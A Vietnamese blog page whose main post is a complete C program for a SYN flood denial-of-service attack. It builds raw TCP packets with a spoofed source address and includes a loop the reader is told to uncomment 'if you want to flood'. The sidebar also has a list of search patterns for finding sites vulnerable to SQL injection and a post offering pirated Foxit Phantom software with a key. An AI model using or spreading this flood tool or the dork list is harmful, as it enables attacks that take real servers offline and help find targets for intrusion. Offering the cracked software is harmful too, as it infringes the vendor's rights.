Chuyển đến nội dung chính

Syn-flood-Dos-Attack

/*
    Syn Flood DOS with LINUX sockets
*/
#include<stdio.h>
#include<string.h> //memset
#include<sys/socket.h>
#include<stdlib.h> //for exit(0);
#include<errno.h> //For errno - the error number
#include<netinet/tcp.h>   //Provides declarations for tcp header
#include<netinet/ip.h>    //Provides declarations for ip header
 
struct pseudo_header    //needed for checksum calculation
{
    unsigned int source_address;
    unsigned int dest_address;
    unsigned char placeholder;
    unsigned char protocol;
    unsigned short tcp_length;
     
    struct tcphdr tcp;
};
 
unsigned short csum(unsigned short *ptr,int nbytes) {
    register long sum;
    unsigned short oddbyte;
    register short answer;
 
    sum=0;
    while(nbytes>1) {
        sum+=*ptr++;
        nbytes-=2;
    }
    if(nbytes==1) {
        oddbyte=0;
        *((u_char*)&oddbyte)=*(u_char*)ptr;
        sum+=oddbyte;
    }
 
    sum = (sum>>16)+(sum & 0xffff);
    sum = sum + (sum>>16);
    answer=(short)~sum;
     
    return(answer);
}
 
int main (void)
{
    //Create a raw socket
    int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
    //Datagram to represent the packet
    char datagram[4096] , source_ip[32];
    //IP header
    struct iphdr *iph = (struct iphdr *) datagram;
    //TCP header
    struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
    struct sockaddr_in sin;
    struct pseudo_header psh;
     
    strcpy(source_ip , "192.168.1.2");
   
    sin.sin_family = AF_INET;
    sin.sin_port = htons(80);
    sin.sin_addr.s_addr = inet_addr ("1.2.3.4");
     
    memset (datagram, 0, 4096); /* zero out the buffer */
     
    //Fill in the IP Header
    iph->ihl = 5;
    iph->version = 4;
    iph->tos = 0;
    iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
    iph->id = htons(54321);  //Id of this packet
    iph->frag_off = 0;
    iph->ttl = 255;
    iph->protocol = IPPROTO_TCP;
    iph->check = 0;      //Set to 0 before calculating checksum
    iph->saddr = inet_addr ( source_ip );    //Spoof the source ip address
    iph->daddr = sin.sin_addr.s_addr;
     
    iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
     
    //TCP Header
    tcph->source = htons (1234);
    tcph->dest = htons (80);
    tcph->seq = 0;
    tcph->ack_seq = 0;
    tcph->doff = 5;      /* first and only tcp segment */
    tcph->fin=0;
    tcph->syn=1;
    tcph->rst=0;
    tcph->psh=0;
    tcph->ack=0;
    tcph->urg=0;
    tcph->window = htons (5840); /* maximum allowed window size */
    tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
                should fill in the correct checksum during transmission */
    tcph->urg_ptr = 0;
    //Now the IP checksum
     
    psh.source_address = inet_addr( source_ip );
    psh.dest_address = sin.sin_addr.s_addr;
    psh.placeholder = 0;
    psh.protocol = IPPROTO_TCP;
    psh.tcp_length = htons(20);
     
    memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));
     
    tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));
     
    //IP_HDRINCL to tell the kernel that headers are included in the packet
    int one = 1;
    const int *val = &one;
    if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
    {
        printf ("Error setting IP_HDRINCL. Error number : %d . Error message : %s \n" , errno , strerror(errno));
        exit(0);
    }
     
    //Uncommend the loop if you want to flood :)
    //while (1)
    //{
        //Send the packet
        if (sendto (s,      /* our socket */
                    datagram,   /* the buffer containing headers and data */
                    iph->tot_len,    /* total length of our datagram */
                    0,      /* routing flags, normally always 0 */
                    (struct sockaddr *) &sin,   /* socket addr, just like in */
                    sizeof (sin)) < 0)       /* a normal send() */
        {
            printf ("error\n");
        }
        //Data send successfully
        else
        {
            printf ("Packet Send \n");
        }
    //}
     
    return 0;
}

Nhận xét

Bài đăng phổ biến từ blog này

Free 2000 Drok Tìm Kiếm Website lỗi SQLi

index.php?id= trainers.php?id= buy.php?category= article.php?ID= play_old.php?id= declaration_more.php?decl_id= pageid= games.php?id= page.php?file= newsDetail.php?id= gallery.php?id= show.php?id= staff_id= newsitem.php?num= readnews.php?id= top10.php?cat= historialeer.php?num= reagir.php?num= Stray-Questions-View.php?num= forum_bds.php?num= game.php?id= view_product.php?id= newsone.php?id= sw_comment.php?id= news.php?id= avd_start.php?avd= event.php?id= product-item.php?id= sql.php?id= news_view.php?id= select_biblio.php?id= humor.php?id= aboutbook.php?id= ogl_inet.php?ogl_id= fiche_spectacle.php?id= communique_detail.php?id= sem.php3?id= kategorie.php4?id= faq2.php?id= show_an.php?id= preview.php?id= loadpsb.php?id= opinions.php?id= spr.php?id= pages.php?id= announce.php?id= clanek.php4?id= participant.php?id= download.php?id= main.php?id= review.php?id= chappies.php?id= read.php?id= prod_detail.php?id= viewphoto.php?id= person.php?id= productinfo.php?id= showimg.php?id= view.php?id=

Foxit Phantom 2.2.4.0225 full key- đọc, chỉnh sửa và in file PDF

Foxit Phantom là phần mềm cực nhẹ, cực chuyên nghiệp trong việc đọc, chỉnh sửa và in file PDF. Bạn có thể tùy chỉnh mọi thứ trong file PDF giống như word vậy. Mình sẽ share với các bạn bản cài đặt mới nhất 2.2.4.0225 và đặc biệt là có file key cho các bạn dùng, các bạn ko phải lo đến vấn đề tìm crack nữa. Link download :  http://www.mediafire.com/?6u2vnjvfcsvorca  https://drive.google.com/file/d/1ZLtZ1Uqd9Z4oU-LCVcbGMITTEnw_W-kH/view?usp=sharing https://www.fshare.vn/file/T9JNEO1QDDH1

Công cụTheo dõi Cách cập nhật giá cryptocurrency thực trên Google Sheets để quản lý danh mục đầu tư

Xin chào anh em, hôm nay mình xin giới thiệu với anh em một cách để cập nhật giá cryptocurrency theo thời gian thực trên Google Sheet. Mình biết nhiều anh em cũng như mình đang quản lý danh mục đầu tư bằng Google Sheet và gặp phải khó khăn lớn nhất là phải nhập tay giá của từng đồng crypto theo thời gian thực, và mỗi lần muốn cập nhật danh mục thì lại phải nhập tay lại từ đầu. Trong bài viết ngày hôm nay mình sẽ giải quyết khó khăn đó cho anh em. Có thể nhiều anh em chỉ quản lý danh mục trên trang Blockfolio hoặc app Coin stats, tuy nhiên các trang hay app thường chỉ thống kê chính xác giá trị danh mục, còn lời lỗ thường sai. Mình thì thích tính lời lỗ chính xác nên hay dùng Google Sheet hơn, nay có thể cập nhật giá crypto ngay lập tức thì mọi thứ trở nên thật sung sướng. Lưu ý là mỗi lần mở file Google Sheet lên thì dữ liệu sẽ được tự động cập nhật, nhưng lúc đang xem thì giá sẽ không nhảy, F5 cũng không được (do API). Anh em cứ làm theo như mình hướng dẫn thì sẽ cập nhật giá